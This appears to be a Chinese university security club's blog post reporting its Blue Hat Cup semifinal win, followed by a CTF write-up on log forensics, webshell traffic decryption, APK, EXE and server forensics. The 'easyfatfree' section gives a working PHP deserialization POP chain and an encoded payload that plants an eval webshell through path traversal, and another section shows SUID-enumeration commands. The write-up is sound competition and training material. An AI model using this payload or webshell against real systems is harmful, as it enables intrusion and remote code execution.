傲视群雄!社团成员在蓝帽杯半决赛斩获佳绩!
2022-9-5 23:39:21 Author: 山警网络空间安全实验室(查看原文) 阅读量:9 收藏

“蓝帽杯"全国大学生网络安全技能大赛,是面向全国公安院校和普通高校大学生的高规格、强影响力的实战技能大赛,被誉为未来网警的“奥运会”。第六届“蓝帽杯"由公安部网络安全保卫局、教育部教育管理信息中心、中华全国总工会·中国职工电化教育中心、中国教育技术协会指导,中国人民公安大学、北京理工大学和奇安信科技集团股份有限公司联合主办。

本次比赛升级为综合性赛事活动,考察选手网络安全攻防对抗、电子取证等安全能力。本次赛事包括比赛、培训、高峰论坛等活动。通过三方合作覆盖全国警院及高校,打造“实战化,体系化,常态化"的网络安全人才培养新机制,为国家重点单位和机构输送网络安全实战型专业人才

在本次的半决赛中,我校的代表队圣地亚哥皮蛋取得了全国第一名的好成绩

神秘的日志

ntlm relay中肯定存在用户登录行为,需要注意4624和4627,但是题目给出的4624日志太多了,需要找到一个时间点,这就需要通过Windows事件日志6038可以审核NTLM的使用情况:

Microsoft Windows Server 检测到客户端与此服务器之间当前正在使用 NTLM 身份验证。当客户端与此服务器之间第一次使用 NTLM 时,每次启动服务器都会发生此事件。

在 system 日志中找到了一个6038日志的记录:

根据6038日志的时间(2022/4/17 11:27:06)在security日志中寻找该时间的logon日志,也就是4624,如下图所示,发现第一个就是:

右键把详细详细信息复制出来,拿到TimeCreated SystemTime之后md5加密就是flag:

加密的通道

写了一个文件

是phpjiami,github上找个轮子解密,是个rsa马,也就是后续都是蚁剑流量套rsa加密

https://github.com/wenshui2008/phpjiami_decode

跟踪流

rsa解密是蚁剑写文件的流量

找到这两个参数的值

带进去,这个是目录

这个是内容:"k85c8f24ca50da" = "yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI/LggnmMXPblFZ6sDNJHoym6I0CkQIYr62+8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ+ZKNN0="

得到flag

easyfatfree

全局搜索 __destruct 方法,不多,在 jig.php 里可以看到一个 __destruct

如果 $this->lazy 为真则可以进入 $this->write()

跟进 $this->write()

这里最后会进入到$fw->write(),我们跟进 $fw->write(),发现文件写入操作:

我们可以通过这里写入webshell,注意ui目录下才有权限。

最后构造出 pop 链:

<?php
namespace DB {
    class Jig {
        public $lazy = 1;
        public $data = array("cmd.php" => ['<?php eval($_POST[cmd]);?>']);
        public $dir = "../../../../../../var/www/html/ui/";
        public $format = 0;
    }
echo urlencode(serialize(new Jig()));
}

// O%3A6%3A%22DB%5CJig%22%3A4%3A%7Bs%3A4%3A%22lazy%22%3Bi%3A1%3Bs%3A4%3A%22data%22%3Ba%3A1%3A%7Bs%3A7%3A%22cmd.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A26%3A%22%3C%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%3B%7D%7Ds%3A3%3A%22dir%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fui%2F%22%3Bs%3A6%3A%22format%22%3Bi%3A0%3B%7D
?>

发送payload,即可在ui目录下写入webshell,蚁剑连接即可在/flag读取到flag:

onelinephp

要不是非预期,根本不知道怎么做这个题。。。

蚁剑直接连接上,寻找suid提权可用的文件:

find / -perm -u=s -type f 2>/dev/null

有一个ftp,现在有一个思路是在自己的vps上搭建一个ftp server,然后通过/usr/bin/netkit-ftp连接ftp server,将 /flag 上传到自己的vps中去。但是靶机根本不出网,就算我们在靶机内部搭建ftp server,由于没有交互式shell,也无法交互式执行/usr/bin/netkit-ftp。。。一时不知道干啥了。

最后直接尝试用grep过滤文件,非预期发现了flag:

grep -E "*flag{*" /etc/*

手机取证

手机取证_1

奇安信手机分析

手机取证2试错了三次,交不了了。。。。

exe分析

exe分析_1

在微信聊天记录里看见压缩包和密码,里面有好几个exe

这个文件跟Services.exe是一样的,放错了,但是都生成了这个文件,放虚拟机,火绒检测

exe分析_2

微步云沙箱

exe分析_3

exe分析_4

有挖矿命令

exe分析_5

看到域名

反查,在韩国

APK分析

APK分析_01

在这里能找到3个apk和一个苹果应用,在受害人手机上、微信聊天里都能找到,但是似乎有点不一样,有的分析不出来,忘记最后用的哪提出来的了,好像是这里

这里也能找到,忘了用的哪个了:

APK分析_02

base64解开就是

APK分析_03

这里是t(),里面是域名

跟过来,看到loadUrl函数

APK分析_04

文件里搜索.cn搜索出来的

APK分析_05

跟初赛一样,有安全判断

APK分析_06

跟初赛一样的思路,通过判断确定

APK分析_07

模拟器打开时白的,main里面有三个文件所以猜3个

APK分析_08

跟上面一样找到红星.ipa

后缀改zip解压,打开Info.list,搜BundleId

APK分析_09

搜api

APK分析_10

也这么挨个搜

配合雷电app分析,得到全选

APK分析_11

登录发现连不上就是这个去掉http

APK分析_12

这里是程序入口

APK分析_13

6661,模拟器登录一下出了

APK分析_14

分析包里面的ip啥的都没用,最后看文件名是红星.apk,又有一个红星理财,蒙个红星对了

APK分析_15

fiddler打开流量包,找到了登录的流量

发现了用户名密码,密码是md5加密的,进行解密。

17317289056/b12345678b

服务器取证

服务器取证_05

仿真,root,123456

仿真之后登录,重新获取一下ip

之后网探连接

看基本信息,这里有5个,交了不对

再看有fastcgi,也就是6个,提交正确

服务器取证_06

所有站点都在这个目录下,尝试提交正确

服务器取证_07

查看access日志

这里登录了phpmyadmin后台,尝试提交正确

服务器取证_08

全局搜索系统版本

打开第一个往下翻翻

服务器取证_15

root目录下有数据库备份文件,下载下来之后搜关键词搜到

babynim

主逻辑在这里

我们可以看到1987的这个函数的第一个参数

可以发现两个大数,

然后分析1987函数,结合整体来分析,其实就是其中一个大数乘flag等于另一个大数,

这样的话逻辑十分简单,我们就可以写出脚本:

num = 51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801
num0 = 56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471
print(num//num0)

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450783911&idx=1&sn=28f0148edfeb006bbabed3f2a0035b23&chksm=b1030f8086748696fe6851f48edfafb28e26e3b00c3526823bccaf312065efa040576ab17e07#rd
如有侵权请联系:admin#unsafe.sh